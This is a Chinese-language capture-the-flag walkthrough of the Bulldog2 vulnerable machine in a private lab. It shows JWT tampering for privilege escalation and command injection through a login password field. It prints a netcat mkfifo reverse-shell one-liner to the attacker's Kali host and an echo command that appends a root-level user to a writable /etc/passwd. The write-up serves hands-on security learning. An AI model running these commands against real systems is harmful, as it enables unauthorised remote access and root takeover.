靶机bulldog2练习:通过反弹shell进行提权

环境:kali机一台:192.168.109.142、靶机bulldog2一台:192,168.109.149

扫描网段:发现有主机IP地址为192.168.109.149,存活

靶机bulldog2练习:通过反弹shell进行提权

扫描发现目标的目标主机信息如下:

  • -sV 版本探测
  • -sT TCP connect()扫描
  • -sC :脚本扫描通过选项被**
  • -p- :从端口1扫描到65535
  • -T5个级别:paranoid (0)、sneaky (1)、polite (2)、normal(3) aggressive (4)insane (5)

靶机bulldog2练习:通过反弹shell进行提权

发现80端口、nginx服务

验证http中开启的-methods 方法

nmap --script http-methods --script-args http-methods.url-path="/test" 192.168.109.149

靶机bulldog2练习:通过反弹shell进行提权

探测http服务发现不支持put方法,无法进行上传操作。

搜索nginx服务漏洞

靶机bulldog2练习:通过反弹shell进行提权

在最后一行发现远程溢出,直接用火狐访问页面找交互点、找登录和注册

访问发现目标机的IP地址、通过F12寻找主页面源码

靶机bulldog2练习:通过反弹shell进行提权

发现main.…….js脚本,进入调试去进行查看

靶机bulldog2练习:通过反弹shell进行提权

复制下来代码查看,发现不行

靶机bulldog2练习:通过反弹shell进行提权

只能直接调试器查看,找到路径

靶机bulldog2练习:通过反弹shell进行提权

搜索register

靶机bulldog2练习:通过反弹shell进行提权

  • 根据js源码,可以使用POST形式提交,新用户注册需要填写姓名、邮箱、用户名、密码信息,完成注册。
  • Content-Type 必须要是:application/json
  • POST数据包内容处,必须要严格按照js代码里的规范

靶机bulldog2练习:通过反弹shell进行提权

进入注册界面,抓包

靶机bulldog2练习:通过反弹shell进行提权

由于不允许注册,因此在登录界面抓包,修改相关内容即可

靶机bulldog2练习:通过反弹shell进行提权

Ctrl+R得到返回包,注册成功

靶机bulldog2练习:通过反弹shell进行提权

关闭burpsuite拦截,登录成功

靶机bulldog2练习:通过反弹shell进行提权

发现用户遍历点:尝试将123修改为admin,发现成功越权

靶机bulldog2练习:通过反弹shell进行提权

再次修改用户,发现依旧可以成功越权

靶机bulldog2练习:通过反弹shell进行提权

由于页面没有出现admin显示,因此刚刚尝试的两个用户均为普通用户,水平越权成功

尝试将刚注册的用户进行垂直越权:登录抓包,发现明文传输

靶机bulldog2练习:通过反弹shell进行提权

查询JWT : https://jwt.io

靶机bulldog2练习:通过反弹shell进行提权

发现一个可疑的参数:“auth_level”,通过名字就应该知道是判断用户权限的,我们进行使用这个参数去刚刚保存的几个js文件里搜索看看.

靶机bulldog2练习:通过反弹shell进行提权

在main.js发现master_admin_user管理员用户,可以尝试抓包,结合jwt编码方式,修改用户级别,达到垂直越权的目的。

靶机bulldog2练习:通过反弹shell进行提权

Forward得到返回包如下:

靶机bulldog2练习:通过反弹shell进行提权

修改jwt网页的auth_level,得到enconde

靶机bulldog2练习:通过反弹shell进行提权

将得到encode码替换掉返回包中的encode,再将standard_user改为master_admin_user

靶机bulldog2练习:通过反弹shell进行提权

将burpsuite的intercept is off,查看页面,发现已经成功垂直越权

靶机bulldog2练习:通过反弹shell进行提权

之前尝试将登录的包修改为注册界面,GO之后,返回报错

靶机bulldog2练习:通过反弹shell进行提权

注:如果返回包只出现简单的error报错,在返回包的Render下查看依旧可以得到路经

直接发现目录名称 Bulldog-2-The-Reckoning,搜索是否能找到相关的东西

在github上发现了user.js文件:

靶机bulldog2练习:通过反弹shell进行提权

查看源码,发现问题点

靶机bulldog2练习:通过反弹shell进行提权

此时需要再次垂直越权,得到如下图:

靶机bulldog2练习:通过反弹shell进行提权

点击login,抓包,接着Ctrl+R,将password改成错误的密码,GO

靶机bulldog2练习:通过反弹shell进行提权

在错误的密码后面插入下面反弹shell语句:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1|nc 192.168.109.142 443 >/tmp/f;

里面的IP地址是kali本机IP地址,接着在kali中打开监听,然后在burpsuit点击GO即可

靶机bulldog2练习:通过反弹shell进行提权

查看当前主机:whoami

靶机bulldog2练习:通过反弹shell进行提权

接下来为了提权,可以直接反弹shell

使用python一句话获取标准shell命令:python -c ‘import pty;pty.spawn(“/bin/bash”)’

靶机bulldog2练习:通过反弹shell进行提权

该反弹shell主要是查找其他用户具有写权限的文件有哪些

靶机bulldog2练习:通过反弹shell进行提权

发现/etc/passwd可以写,创建一个用户qwe,密码为pass,aa为盐值。

注:不使用加密盐,crypt格式不认

靶机bulldog2练习:通过反弹shell进行提权

将得到的用户qwe写入/etc/passwd中

echo 'qwe:aaW3cJZ7OSoQM:0:0:sam:/root:/bin/bash '>> /etc/passwd

靶机bulldog2练习:通过反弹shell进行提权

查看写入是否成功

靶机bulldog2练习:通过反弹shell进行提权

切换用户,查看权限

靶机bulldog2练习:通过反弹shell进行提权

至此,提权成功!